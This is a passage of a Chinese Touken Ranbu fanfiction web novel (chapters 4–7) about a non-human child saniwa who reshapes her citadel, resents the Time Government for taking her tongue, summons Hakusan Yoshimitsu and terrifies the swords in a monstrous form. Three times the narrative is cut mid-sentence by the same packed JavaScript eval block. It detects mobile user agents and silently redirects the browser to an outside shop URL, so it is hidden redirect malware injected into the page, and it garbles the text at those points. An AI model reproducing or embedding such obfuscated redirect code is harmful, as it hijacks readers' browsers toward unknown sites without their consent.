“救救审神者大人!” “审神者大人——” 4. 一个副本 真是大意了。 明明都已经知道整个本丸和本丸的付丧神都是依靠我的力量动起来的,我却没有多想地就直接和本丸一口气产生了连接。 不过这么做似乎也有些好处。 本丸彻底变成我的所有物之后,就连空气中都充斥着我的本源力量,我就算躺在这里什么都不做,本丸内丰盈的灵力都能反哺填补我身体的空洞。 次日早晨,我准时在八点睁开眼睛。 经过了一个晚上的修补,我感觉自己现在浑身都充满了力量。 狐之助就盘在我的枕头边上,察觉到我起身的动作,它抬起头来,眯着眼睛看了我一会儿,才彻底清醒过来,喊道:“审神者大人!您醒了!现在感觉怎么样?还有没有哪里不舒服?” 我摇摇头。 “那就太好了!”狐之助欣喜地从我的枕边几步踩上我的被子,正对着我坐下:“昨天的教学还没有完成呢,审神者大人想现在装扮自己的本丸吗?在下昨天查看了一下,这座本丸累积了很多小判,可以开放很多装扮权限呢!” 噢……特别像玩家特有的家园装扮系统。 原来本丸就相当于主神给玩家准备的家园空间吗? 我根据狐之助的指示点开了本丸的3D展示地图。 神奇的是,这个展示图可以根据我的动作放大缩小,还可以无死角旋转,地图的旁边更有不同的景色可以更换,像是游戏界面一样,很方便呢。 既然如此的话…… 我缩小地图,将本丸的湖泊放在了更远一些的地方。 这样我偷偷跑去水里,即使被刀剑们发现了异常,他们赶来也需要一定的时间。 然后是审神者居住的地方,要挪到湖泊最近的位置,建筑无法离开建筑群区,那就放在建筑群区的最边边。 剩下的屋子,嗯,随便挪,离我越远越好呢。 狐之助看得冷汗直流,连忙说:“啊、啊,审神者大人,还是不要一次性挪太多建筑比较好哦,虽然不会花费太多的灵力,但是移动的方式还不能做到完全智能……” 话音未落,我听到从不远处传来了一声巨响,是什么土地崩开的声音,我侧耳去听,在安静了几秒之后,又感觉到了大地的异动。 紧接着,是我所在的房屋在颤动,有一双无形的大手将整个房屋从土地中拔出来,在空中飞去了我特定的位置之后,又重新把房屋插回了土里。 在这个过程中,我连地铺带人滚成了一团,滚着滚着撞到了墙角,又滚着滚着撞到了纸门,再滚着滚着撞到了矮桌,等屋子重新恢复平静,我已经和被褥死死缠在了一起,并滚到了桌子底下,挣扎无能。 与此同时,屋外也频频传来轰隆声,还有大地震动的感觉,以及来自各个年龄段男性的惊呼: “发生什么事了!” “啊!房子飞起来了!” “救、救命!我要从走廊上掉下去了!” “我刚团好的面粉!” “衣服、衣服飞走了!盆也……” “这到底是怎么回事啊!” 狐之助的爪子钉在榻榻米上,这才没有像我一样到处滚来滚去。 等异动结束之后,狐之助连忙跑到我这边来,用爪子扒拉我身上的被子:“审神者大人,您还好吧!” 不是很好,好勒哦。 “在下这就去找大人们来救您!” 狐之助的脚步急促,我能感觉到它飞速穿过纸门,脚步踩过地板,咚咚咚地下着楼梯。 都已经是式神了,居然还不能从二楼直接飞下去吗? 看来它只是一个很弱的辅助型式神。 这得等到什么时候才能找到人来救命。 嗯…… 被包裹的感觉很好,而且很温暖。 好困。 体型缩小之后,我似乎也像孩子一样嗜睡,明明刚刚才醒,可是就这样被被子包裹着缩在角落,没人和我说话,我又逐渐感觉到了困意。 就在我的意识朦朦胧胧时,我听到了狐之助脚步声去而复返的声音,紧跟着的还有一人。 我睁开眼睛,少年也正好将纸门拉开,入目是一双有些焦急的红色眼眸。 他看到我像是一个蚕蛹一般缩在角落,看上去似乎完好无损,下意识松了口气,俊秀的面容上不免多了些埋怨。 “怎么一会儿没守着就闯这么大祸?” 加州清光把我从被子里剥出来,双手架在我的腋下,将我高高举起来。 他原本是想斥责几句的,可想到审神者现在是初到本丸,对一切感到好奇都是正常的,狐之助的引导并不是面面俱到,孩童时期正是行事最莽撞的时候,他没有必要因为这个就去训斥审神者。 加州清光也无法做出训斥审神者这种失礼的行为。 “下次如果想进行什么尝试的话,可以先把我喊过来,虽然看上去是少年模样,我可是最早出现在本丸的刀剑,有我在,审神者可以了解得更清楚。” 他将我放在地上,手指理了理我乱成一团的碎发,继续说道:“移动建筑之前,付丧神们需要把东西都收拾好,退到草地上,这样才不会有付丧神受伤。” “更换季节之前,要将对应季节的衣物准备好再换,我们现在拥有了人类的身体,也会像人类一样感冒,这也是对审神者的保护,审神者的身体比付丧神还要脆弱一些。” 我看着他,他柔软的手指就这样穿过我的发丝,在完全没有弄疼我的情况下,将我的头发勉强理顺。 加州清光的表情看上去依旧很冷淡,语气也并不温柔,但是他很耐心地在和我解释这些,也没有因为我的莽撞责怪我。 “记住了,我的名字是加州清光,生在河川下游的孩子……还是算了,和你说这个似乎也没什么意义,你只要知道我叫什么就好。” 少年站起身来,低头问我:“今天灵力已经恢复了吗?听烛台切说你昨天一天都没有吃东西,早上也是,饿不饿?” 我先是点了点头,然后又摇了摇头。 “灵力已经恢复了,但不饿的意思吗……”加州清光喃喃道:“看来简单的意思还是能表达出来的。但是你这样真的没关系吗?这么长时间不进食?” 我依旧摇了摇头。 加州清光叹了口气:“养小孩就是很麻烦,那接下来你想干什么?想继续装扮本丸?” 我又调出3D模型图,指了指旁边白茫茫一片的景象。 “你想让本丸下雪?”他表情一言难尽,说道:“最好不要,因为之前一直没有灵力浇灌,田野的植物生长得都不是很好,现在好不容易有了养分,要是下雪的话,植物就没有办法好好生长了。而且本丸现在的伤者有点多,天气太冷不利于伤口愈合……我说这些你能明白吗?” 我有些遗憾,但我毕竟不是什么魔鬼,他都这样说了,我只好暂时放弃这个念头。 加州清光低头看了我好一会儿,又抿了抿嘴角,提议道:“如果你想做点什么的话,我可以陪你去本丸到处走走。” 狐之助说道:“昨天晚上我查看付丧神们状况的时候,发现有好几振刀都在中伤和重伤状态,不如让审神者去看看,审神者可以用灵力加快刀剑们的伤口愈合呢。” “你是说,让光链接本丸就瞬间被抽光灵力的审神者,在维持本丸和付丧神行动的同时,还要去治疗付丧神?”他蹙起眉头,看傻子一样看着狐之助:“人类是力量长时间超负荷运作就会死去的生物,你们为什么对审神者这么……” 这么差劲。 为了让审神者无法轻易逃离,剥夺了她说话的权利,为了把审神者困在本丸,设下了许多针对她的禁制。他确实很希望同伴们快点好起来,但很明显这一位审神者的力量并不强大,不然也不至于在激活本丸之后因为力量透支而晕过去。 在这种情况下还要勉强她去救人,简直就像是时之政府在磋磨她,压榨她,直至将她榨干到一滴不剩。 加州清光甚至在想,这个审神者是不是某个罪大恶极的家族的后裔,被时之政府专门丢过来受刑的。 “审神者不是普通人类。”狐之助说:“她是不会死的,正因为如此,她才会是这个本丸的审神者。” 加州清光无话可说。 从审神者能够在水下待那么长时间,就能看得出来她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233689|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是什么普通人类,可一切事物皆有极限,难道因为她不会轻易死去就对她如此苛刻吗? 他原本是对审神者继任持中立态度的,他认为如果接下来有一位强大的审神者继任本丸,再困难的任务都能顺利完成,这个本丸说不定会越来越好。 可女孩的出现彻底击碎了他的期待。 时之政府根本就是一群乱来的家伙。 只要不接受审神者,无法出阵,时之政府就会将审神者回收了吧,紧接着,本丸也会因为刀剑全都碎掉而完全消失。 这样最好。 他不想再看见任何悲剧发生了,那种抛弃同伴苟活的无力感,他也不想再体验一遍了。 …… 我整个下午都待在栗田口的屋子里,小少年们在说上午房屋移动的事情。 虽然建筑群的位置基本都有所改动,还给付丧神们造成了一定的困扰,但本丸已经很久都没有这样动过了,小少年们都很高兴本丸发生了改变,叽叽喳喳地和我提建议,有想要菖蒲花开的,有想要夜晚换上枫树的,有想要梧桐树花开的,还有想打雪仗的,堆雪人的。 叽叽喳喳,像是有几百只小鸟在我耳边叫着。 讨论完想要的风景,他们见我手上拿着毛笔和宣纸,又不约而同开始教我文字。 正巧在三点半左右,时之政府寄来了一封书信,我刚好能测试自己学得怎么样,可细细看过后,我依旧无法完整读取信的内容,信浓藤四郎主动提出帮我把信的内容读出来,我可以边看边听,再进行文字的辨认。 我同意了。 “我看看……” 信浓将因为折痕而翘起一角的信件压平,读着:“朝歌殿下敬启,诶,原来审神者的名字叫朝歌呀!” 在这个名字说出口的那一瞬间,我很明显感觉到我和信浓藤四郎之间似乎产生了某种联系,像是有无形的细线将我们牵连在一起,并不痛苦,是很新奇的感觉。 我按了按自己的胸口。 “朝歌也感觉到了吗?”信浓藤四郎笑道:“是通过名字,我们结缘了呢。” 仅仅只是知道名字,就会产生这样的变化吗? 我似懂非懂地歪歪脑袋。 “我继续念啦。”信浓藤四郎说:“首先祝贺殿下与本丸定下契约,从今天起,您将正式成为一名审神者。晚些时候,狐之助会带来时之政府下发的物资和贺礼,本丸的孩子们以后就拜托您了。” “然后,要向朝歌殿下表示歉意,虽然条款全都写在了合同当中,但您似乎并不知道我们将拿走您身体的一部分,真是非常抱歉。为表歉意,我们将会补偿您一振现本丸还未出现过的刀剑和一箱小判。” “希望殿下能够理解我们的担忧,在第一次出阵平安归来后,我们将会根据您的表现,来决定如何归还您的身体。” “第一次出阵的时间大约在半个月后,请努力带领刀剑,为本丸迎来胜利吧。” 信浓藤四郎读完所有的内容,看向我:“这个归还身体的一部分,指的是朝歌的舌头吗?” 我:“……” 不想回答。 有点火大呢。 那本来就是我的东西,居然还要根据我第一次出阵的表现来决定如何归还我。 听这个意思,他们就算是觉得可以归还,也不会一口气将我的所有部件还给我,而是像在驴的面前悬挂一根胡萝卜一样,吊着我为他们做事。 如何呢?听他们的意思,拿走了我一半多的力量,把我困在这里,只送我一把刀和一箱钱,我就要一笑泯恩仇,还要感恩戴德地感谢着他们的慷慨吗? 啊,对了,本丸刀剑不多,还有那么多伤者,即使这样时之政府也不想放弃这个本丸,就说明这个本丸很重要,付丧神们也很有利用价值吧? 干脆大闹一场好了,将这个牢笼彻底弄碎,将所有的锁链彻底扯断,把水搅得再浑浊一些,让以为自己处于上位的家伙们看看他们到底做了一个多么错误的决定。 粉雕玉砌的小女娃笑起来,露出了一颗尖尖的小虎牙。 狗领导,等着吧,等我恢复了力量,给你们一个一个的头都打掉。 5. 一个副本 和信件一起送来的还有一箱小判以及一把刀剑。 小判箱被信浓藤四郎高高举过头顶,一路顶着送去了仓库,而那把刀剑则是被刀匠放在了锻刀室的刀架上。 单从外表上来看,它只是一把再普通不过的打刀,没什么特别的。狐之助解释,只要向打刀注入灵力,刀剑就会发生变化,并被赋予人类的身体。 五虎退眼巴巴的看着那把刀,期待道:“不知道来的会是谁呢?” “信上说是本丸没有出现过的刀呢。” “那就不会是一期哥了。” “也有可能是其他刀派还没有来的哥哥。” 说到这句话,小短刀们都沉默下来,看着那把刀,脸上的表情连我也分不清是高兴还是难过。 不过很快他们都意识到不该在即将出现的新同伴面前露出这种表情,缓和了低落的氛围后,等待我去将付丧神唤醒。 我将手悬于刀身上,分出一部分力量融入进去,刀身亮起淡粉色的光芒。 伴随着输入的力量越来越多,粉色的光芒由淡转亮,变得越发耀眼,待到力量彻底将刀身灌满,无数樱花花瓣四散炸开,我的手触碰到了付丧神温热的皮肤,同时,那双漂亮的银蓝色眼眸也与我对上了视线。 那是一个穿着振袖军服的银白色短发少年,形制和栗田口的小短刀制服有点像,只是他的看上去更为特别,肩膀上还站着一只耳尖、四肢和尾尖都染上蓝色的狐狸。 “吉光所锻造的剑,便是我。笔直无弯曲,颇为漂亮。在大姬出嫁之时,我也一同来到了前田家。” 模样俊秀帅气的少年保持着单膝跪下的姿势,下意识抬起头,让我的手掌能更贴合他的脸颊。 他说:“我的名字是白山吉光,主人,我将协助您守护原本的历史。” 原来用自己的力量让付丧神化形是这种感觉。 就好像分割出去了自己的一部分,而那一部分又变成了拥有自己独立思想的人。 ……好奇妙。 我不由得摸了摸他的脸,还有他耳侧柔软的鬓发。 这是我唤醒的付丧神,是我创造出来的生命。 围在我身边的小少年们也瞪大了眼睛,没想到居然能在本丸里还能见到自家兄弟。 “是白山诶!” “是兄弟!” 在白山吉光从地上站起来后,围在我身边的小少年们都很高兴地去到了白山吉光身边。 脸上没什么表情的白发少年似乎有些不知道怎样应对这种局面,左看看,又看看,最后视线还是定格在了我身上。 我对刀剑之间的亲情不是很了解啦…… 白山吉光说他是吉光锻造的剑,但是其他人的刀种好像是短刀。 剑和短刀……有血缘关系吗? 我以为我对人类的亲属关系已经很了解了,但现在似乎还得要了解一下兵器的亲属关系。 不过,他的眼神像是刚出声的稚子,在全然陌生的环境下,只能依靠着自己最信任的人。 因为是我赋予了他生命,所以即使兄弟们围在身边,他最信任、最亲近的人也是我吗? 我的胸腔莫名泛起痒意,随即,我顺应自己的心意,朝白山吉光伸出了手。 他如同得到了什么重要的指令,立马来到我身边,握住了我的手,轻声道:“主。” 和我随便捏出来的海妖不同,白山吉光的皮肤柔软干燥,而且是温热的,他低头看我的时候表情有很细微的变化,变得更为柔和。 同为我创造出来的人形生物,白山吉光比阴冷潮湿,浑身都是粘液的海妖要好看太多,也温暖太多。 我不由得露出一个笑容,拉他往屋子外面走。 白山吉光被我拉得只能弯下腰走路,但他没有抗拒,十分顺从地跟在我身后。 小短刀们也追上来,簇拥在我们身边,吵吵闹闹的: “要带白山去参观本丸吗?我也去我也去!” “正好审神者也没怎么在本丸里面走动过吧?我可以介绍!” “好耶!大家一起去散步吧!” 于是,接下来的行程很临时地变成了参观本丸。 观光团成员当中,只有两名游客,剩下的全是导游,就连去了一趟仓库,折返回来和我们汇合的信浓藤四郎也欢呼着成为了观光团的导游之一。 而要说是参观,其实现在的本丸也没有什么好参观的。 马棚、菜地、草原、湖泊都在远一些的地方,今天也只能先认识认识厨房在哪里,饭厅在哪里,大房间在哪里,以及各个刀派的刀剑居住的房间。 一般是两位付丧神,或者三四位付丧神住在一个房间里,只有栗田口这个大家族是十几个人住在一起的,所以他们住的房间是整个住宿区最大的,非常宽敞明亮,以后白山吉光也是住在这个房间,能提前认认路也很不错。 白山吉光动作顿了顿,说:“我,想和主人住的近一些。” 小少年们互相看了对方一眼,信浓藤四郎说:“现在的近侍屋是审神者在住,而审神者原本的房间地板上还有很多水,到现在都还没有彻底干透,所以……” 不知道关着我来本丸的那个器皿里注入了什么溶液,可以让人失去意识、麻痹神经,却又能帮助生物维持生命特征。 它也很难干,已经过了很久了,那四溅的水渍还是湿乎乎的。 白山吉光有些可惜地点点头,这也是没办法的事。 每间屋子的房门都是紧闭着的,小少年们没有敲门打扰的打算,只是单纯在门口介绍:“这里是左文字家的房间,之前住着江雪左文字、宗三左文字和小夜左文字。” 房间里面安安静静,没有声音。 无人在意,我们继续往前走。 “这里是来家的房间,之前住着明石国行、萤丸和爱染国俊。” 从门后面传来了一声瓷器相碰的声音,像是在手忙脚乱之中突然撞上的,紧接着还响起了很轻很轻的惊呼。 我和白山吉光对视一眼,没有说话,继续往前走。 “这是三条家的房间,之前住着三日月宗近,小狐丸,岩融,今剑和石切丸。” 介绍这间屋子的时候,里面什么声响都没有,但我们刚打算继续往前走时,纸门突然从里面被拉开。 我下意识侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233690|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看去,也就是这一眼,我瞬间停住了脚步,视线也无法从对方身上挪开。 跪坐在纸门后面的青年有着十分让人着迷的容貌,他的身上穿着绀色的狩衣,面若中秋之月,色如春晓之花,眉如墨画,面如桃瓣,目若秋波。 最为特别的是,他的眼中有一轮十分漂亮的新月,当他那双眼睛望过来时,就像是温柔的月光独独洒在了自己身上,而当那目光移开时,则是会莫名怅然若失起来。 就好像短暂拥有过的月亮飞向了别处,于是总忍不住想要做些什么,让月光再次为自己停留。 好漂亮的一个人。 信浓藤四郎喊道:“三日月殿下。” 名字叫做三日月宗近的付丧神微微一笑,先是回应了信浓藤四郎,然后才看向我。 被他看着,我不知道为什么有些紧张。 “这位就是审神者吗?是个漂亮孩子。”他的语调慢悠悠的,像是个老爷爷:“旁边的是……白山吉光吗?” 白山吉光依旧没什么表情,他光明正大地回应着三日月宗近的视线,看了看,才说:“检测到是名为三日月宗近的刀剑男子,请问有什么事吗?” “听说白山吉光是一阵擅长治愈之术的剑,不知道能否帮我一个忙呢?” 三日月宗近侧身让开一条路:“我们有一位重伤的同伴。” 站在门外还没觉得有什么味道,一旦靠近一些,就能闻到从房间里传来的浓郁血腥味,就像是血液留太多,汇聚成了小小的血泊。 这种出血量,离死亡也不远了。 白山吉光看向我,在我点点头后,没有犹豫地越过三日月宗近走进房门。 如同月亮的付丧神朝我颔额以表感谢,紧接着拉上纸门,让里面的治疗得以顺利进行。 后藤担忧地说:“应该是上次岩融他们出阵的时候受的伤吧?那段时间还能和我们一起吃饭,但后来伤势恶化,连床都下不了了。” 信浓藤四郎点点头:“那一队回来之后,伤势都有不同程度的恶化,药研哥的药作用也不大,他那段时间每天都很焦虑呢。” “白山擅长治疗,这样大家都会好过一些吧。”厚藤很高兴:“真是太好了,自从审神者来了之后,发生的都是好事!” 我对他这句话没什么反应,伸手拉了拉信浓藤四郎的袖子。 “啊,审神者想回去了吗?”信浓藤四郎这么问了一句,没有牵住我,而是带头走在前面:“现在确实也时间不早了呢,再过一会儿就要吃晚饭了。” 我跟在他身后,身边是陪在一起的小少年们。 这种氛围让我想起了主神的游戏副本。 每个进入副本的玩家都是形形色色的,有人时刻保持警惕,沉默寡言,自己一人一个小世界,有人报团取暖,看似与在一起,实则人心隔肚皮,今天还在亲昵地笑着说话,明天就可以把人往怪物堆里面推。 小短刀们簇拥在我身边,叽叽喳喳的,像小鸟似的和我说着话,教我认字,陪在我的身边,可是他们却不会和白山吉光一样牵住我的手。 还以为这里会有什么不同呢。 结果都是一样的。 6. 一个副本 白山吉光治好了三条家的岩融,也不是治好,只是将他从命悬一线的状态拉了回来而已,他身上的伤口依旧还在,依旧会感觉到疼痛,依旧要喝药研给他熬的药。 不过这样已经很好了,至少可以留住性命。 昨天那个长得很好看的付丧神带着身体已经好很多的岩融来道谢,我在房间里听到了他们的声音,但我没有开门。 白山吉光刚好这个时候来找我,在门口遇到了他们两个,礼貌地说了几句话之后,他又跟着两位付丧神去了其他刀派的部屋,说是本丸里还有重伤的付丧神,需要白山帮忙。 我不由得开始思考时之政府将白山吉光送给我的意图。 他出现的实在太恰到好处,又能替我治疗刀剑,让他们恢复战斗力,怎么看都不对劲。 ……算了,无所谓,和我又没关系。 我坐在窗台边,从二楼远远看向那一片与天相接的湖泊,那被风吹起波澜的湖面反射着光线,波光浮动,普通金色的鳞片。 景色真不错。 时之政府的体贴周到也不全是坏事,至少,这片广阔美丽的水域就准备的很好。 …… 今天本丸难得出了大太阳。 自从有了灵力支持,本丸的天空一天比一天蓝,枯黄的草地就算没有人打理也逐渐开始绿起来,更重要的是,用来耕种的土地养分充足,就连以前种去,忘记挖出来的玉米种子都拔地而起,长得特别好。 从土豆地里摘下来六个玉米,歌仙兼定拿着其中一个,表情有些复杂。 “前年种的,这才三天就成熟了吗?”石切丸也看到了篓子里混在土豆中的玉米,看了看后,感叹道:“长得真好,而且长得很快。明明审神者的灵力弱小到连接本丸都会透支,但是质量却很高,只要受过恩慧,就会被纯粹的力量填充。” “如果审神者的年龄再大一些,可能真的会成为不得了的人物吧。”歌仙兼定的指尖按了按圆润饱满的玉米粒,喃喃道:“是不是正因为发现了这孩子的天赋,家里人才把她卖到这里来了呢?” 石切丸说:“也许我们可以将审神者养大。” “她在这里长不大的,听说白山已经替不少同伴恢复了状态,大概很快就会有第一次出阵了。” 石切丸不说话了。 做完耕种的任务,歌仙兼定和石切丸将收成的农作物送到厨房储存,却看到烛台切光忠对着一份没动过的荞麦面蹙着眉头,一副很苦恼的模样。 现在已经是申时,吃中饭太晚,吃晚饭太早,本丸也没有会浪费食物的刀剑,这个点厨房理应不会出现凉了的饭食才对。 歌仙兼定将背篓放下,来到烛台切光忠身边看了看那碗面,问道:“这是怎么了?” “啊,是歌仙啊。”烛台切侧头看了他一眼,叹气道:“审神者这三天一点东西都没吃,我想着她长时间没有进食,如果这次想吃了,得吃点好消化的东西就做了荞麦面,可是她今天也什么都没吃。” “三天吗?”歌仙兼定一愣,也跟着一起蹙起眉头:“审神者是不是生病了?” 人类的小孩三天滴水未进不正常吧? “信浓他们这几天一直和审神者在一起,没听说审神者有什么不舒服的地方。”烛台切光忠停顿片刻,又问:“是不是因为饭菜都是我和加州送过去的,审神者才不吃?” 石切丸和歌仙兼定面面相觑。 他们无法回答烛台切的疑问,不过,如果想要验证烛台切的疑问,倒是有一个方法。 让白山吉光去送饭试试。 由审神者亲自召唤出来的刀剑,会对审神者绝对忠诚,并且天生会对审神者有亲近感,而审神者也会信任自己的刀,他们知道自己的付丧神不会做不利于审神者的事情。 烛台切光忠想了想,还是说:“那就让白山去一趟吧,其他的也无所谓了,重要的是她需要进食。” 冷荞麦面也有很多种吃饭,但是不适合长时间没有吃过东西的孩子,他新煮了一碗面,喊来白山吉光帮忙给审神者送过去。 银发少年双手托举着装有一碗素面的托盘,抬头看了看冷着脸叮嘱他注意事项的烛台切光忠,问:“既然在关心主人的身体,为什么不自己去?” 烛台切光忠一时无言,白山吉光又说:“审神者年纪尚轻,感觉不到冷言冷语背后的关怀,我想,你既然都做到这种地步了,直白一些,主人更能体会到你的关心。” “……”他抬手按了按额角:“好吧,那就一起去。” 对新来的付丧神,而且还是时之政府送来的白山吉光,烛台切不好解释地太清楚。 反正跟着一起去也没什么关系,正好看看审神者的状态,听信浓说,今天她还没有出过门,别真是生病了。 听烛台切这么说,歌仙兼定和石切丸也想看看那孩子现在怎么样了,于是也跟在了两位付丧神身后。 现在已是酉时,太阳半挂在地平线上,半掉不掉的。 金灿灿的阳光此时已经变成了橘红色,给整个本丸都笼罩上了一片橘色薄纱。 走廊和房间没有挂灯,一到黄昏时分,黑暗就如同装上了进度条,随着进度条的前进,从角落开始一点一点侵蚀着整个本丸。 四个人来到审神者门口,他们不约而同地停在离门有一定距离的地方,片刻停顿后,齐齐看向了白山吉光。 白山吉光先是与烛台切对视了几秒,然后又与歌仙兼定对视几秒,再和石切丸对视几秒,最后歪了歪脑袋,眼睛里闪过一丝不解,动作却没有迟疑,上前一步喊道: “主人。” 等了一会儿,里面没有声音。 白山吉光顿了顿,又说:“主人,烛台切先生来给您送晚饭了。” 依旧没有任何回应。 他眉头微微下压,继续等待了一会儿后,果断将手按在门缝边缘:“失礼了主,我要进来了。” 烛台切光忠暗自抽了一口凉气,立马按住白山吉光的手背,压低声音说:“你就打算这么直接进去?” “主人不开门,我有些担心。”白山吉光有些不解:“有什么问题?” “……当然有问题,这是审神者的房间,没有得到房间主人的允许就进去很不礼貌,而且审神者也会生气。”烛台切光忠耐心和他解释:“还是先等一下吧。” 白山吉光听话地站在门口又等了一会儿。 不过等着等着,他微微抬头,察觉到了一丝不对劲的地方。 “主人……好像不在房间里?” 如果房间里有人,就算不回应,也多少会发出衣服摩擦的声音,挪动身体的声音,或者是触碰物品的声音,简单来说,就是会有些动静,可刚刚他观察了很久,房间里空荡荡,似乎一个人也没有。 这个时间审神者,不在自己房间,又会在哪里呢? 烛台切一愣,随即迅速将纸门推开。 现在的光线已经很暗了,房间里的能见度不高,借着夕阳,他依稀能辨认出房间里确实空无一人,而案台后的窗户大开,似乎前不久还有人坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233691|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那里看着窗外的风景。 木质的窗沿就像是定制的画框,将窗外灰蓝色与灰橘色的天空框入其中,景色好看得宛如高价收入的油画。 有冰冷的风从窗外灌入,吹起了甲胄下的衣角,身后的夕阳将他们黑色的影子投在地板上,同时也让房间内明亮了一些。 白山吉光和烛台切光忠表情微沉,往前走了几步,落后他们两步的歌仙兼定和石切丸也面色凝重地朝屋内投向视线。 他们的侦查能力不及短刀,但四个人都在仔细搜查,在视线相触的那一瞬间,他们已经确认了一个事实——审神者确实不在房间内。 “……人呢?” “我去找信浓,看看她有没有去粟田口。” “叮。” 这一声铃响出现的很突兀。 白山吉光瞳孔微缩,手立刻按在剑柄上,迅速回头,浑身警戒。 歌仙兼定慢他一步,下意识要抽刀时直接摸了个空,他这才想起来自己在耕田之前将本体放在了房间里。 身边的同伴都已经表现得如此明显,烛台切一手端着托盘,身体微微压低,一手刀剑出鞘。 最后转身的是石切丸,他也同样没有带刀。 身后空无一物,好像刚刚那声突兀的铃声只是错觉。 可在战场上厮杀惯了的刀剑并不会放松警惕,一个人听见可能是错觉,四个人都听见,必定是出现了什么东西。 这可是在本丸啊…… 能出现什么? 白山吉光银蓝色的眼眸微沉:“是谁在那里。” 烛台切光忠倒是想到了一个可能,试探性地开口:“难道是鹤……?” 这个问题还没有问完,他自己止住了声音,本丸里确实是有爱开玩笑,喜欢惊吓的鹤,但是他不会为了吓人做到这种程度,这不是他的风格。 “在叫我吗?” 是女性的声音。 确定了,并不是鹤丸国永的恶作剧,那是…… 烛台切手里的托盘很碍事,他缓缓将那碗还在冒着热气的面条放在榻榻米上,另一只手捏紧了刀柄,可他的注意力分散也只不过是一瞬将,当他再次看向门口时,那里不知道什么时候出现了一个浑身红色的小女孩。 ……那真的是小女孩吗? 那头火红的长发在夕阳下红的像是浑身浴血,在发尾处发紫发黑,从发丝间延伸出鲜红色的鱼鳍,像是形状美丽的珊瑚,也给人感觉诡异。 她与烛台切对上视线,微长的碎发下看不清面容,只能看见藏于黑暗中,却隐隐亮起红光的瞳孔。 烛台切顿时冒起了一层鸡皮疙瘩,呼吸在那一瞬间都乱了。 她捕捉到了那转瞬即逝的情绪,裂开嘴角露出了一个笑容。 说真的,不如不笑。 那扬起的嘴角差点到了太阳穴,半张脸都是嫣红的嘴唇和尖锐的牙齿,画面实在是太过猎奇。 时间溯行军也不过是丑兮兮的骷髅架子,可眼前的这个奇怪生物,又像人又不像人,不知道为什么,光是看着就已经让人无端觉得恐惧。 “哈。” 她眯起如同红灯的眼睛,笑容只能用直击心灵来形容。 烛台切光忠还没看清,那张脸竟然在下一秒就出现在了眼前,给了他一个贴脸的惊喜。 “你要听我唱歌吗?” 尖锐的指甲抵住他的脸颊,留下红色的痕迹。 “……”烛台切光忠心脏骤停。 他的刀生,今天就交代在这里吧。 7. 一个副本 锋利的刀刃自两人中间斩下,几乎是擦着烛台切的鼻子过去。 为了躲避白山吉光挥过来的剑,怪物从烛台切面前离开,呼吸间,又出现在了门外。 烛台切光忠依旧浑身紧绷。 可以说自从这个不明生物出现之后,他每时每分都是保持着头皮发麻的状态,刚刚突然飞到眼前的那张脸太挑战神经,以至于现在刀擦着自己过去,他都有点麻木。 甚至现在这张脸和他拉开了距离,他都在心里隐隐松了口气。 不开玩笑,这个速度突到脸上,她那堆破骨头吓人多了。 “……烛台切。”歌仙兼定不敢乱动,他微微侧头,对烛台切小声说:“本丸的时间转换器这段时间没有启动过,结界也是完好无损的,怎么会突然出现这种东西?” 石切丸有些欲言又止,犹豫了几秒后,还是开口道:“她有着和审神者同样纯粹的力量。” “……什么?”烛台切和歌仙兼定都震惊地瞪大了眼睛。 也就是说,她就是审神者?? 歌仙兼定觉得荒谬极了:“这是你们说的,‘心性尚不成熟’、‘她还是个孩子’、‘可以把她养在本丸’的审神者??” 他没见过审神者的模样,第一天审神者投湖的时候,他还在本丸的庭院里勤劳地洗着被单。 “不……她看上去,和平常不太一样。” 半挂在天边的太阳彻底隐藏起来,取而代之的是一轮格外明亮的圆月,清冷的月光让站在门外的那个身影少了几分血腥气,同时也多了更多的阴森感。 借着微弱的月光,确实依稀能辨认出来那是审神者的脸,但是她现在实在是有点邪门,简直就像是被什么不干净的东西上了身。 石切丸:“找个机会,我去拿我的刀。” 歌仙兼定:“……找个机会,我去喊青江和髭切殿下过来。” 烛台切光忠:“你们确定能物理驱鬼?砍下去审神者也会变成两半吧?” 歌仙兼定:“不管怎样,得先将审神者控制住。” 这倒是真的。 他们的声音有刻意压低,但是在这样寂静的夜里,这种音量无异于大声密谋。 不过我不是很介意。 这样才对。 要是完全不挣扎的话,反而没什么意思了。 时之政府不是想把我困在本丸吗?他们还妄图利用我的力量。 本来在那个臭鸡蛋手下工作就烦,现在还来个更烦的。 对这种完全不把我放在眼里的家伙,我当然要给他们一个惊喜,让他们好好地看着我,再用正确的态度来和我说话。 我看着目光凌冽,持刀冲过来的烛台切光忠,笑声无比刺耳。 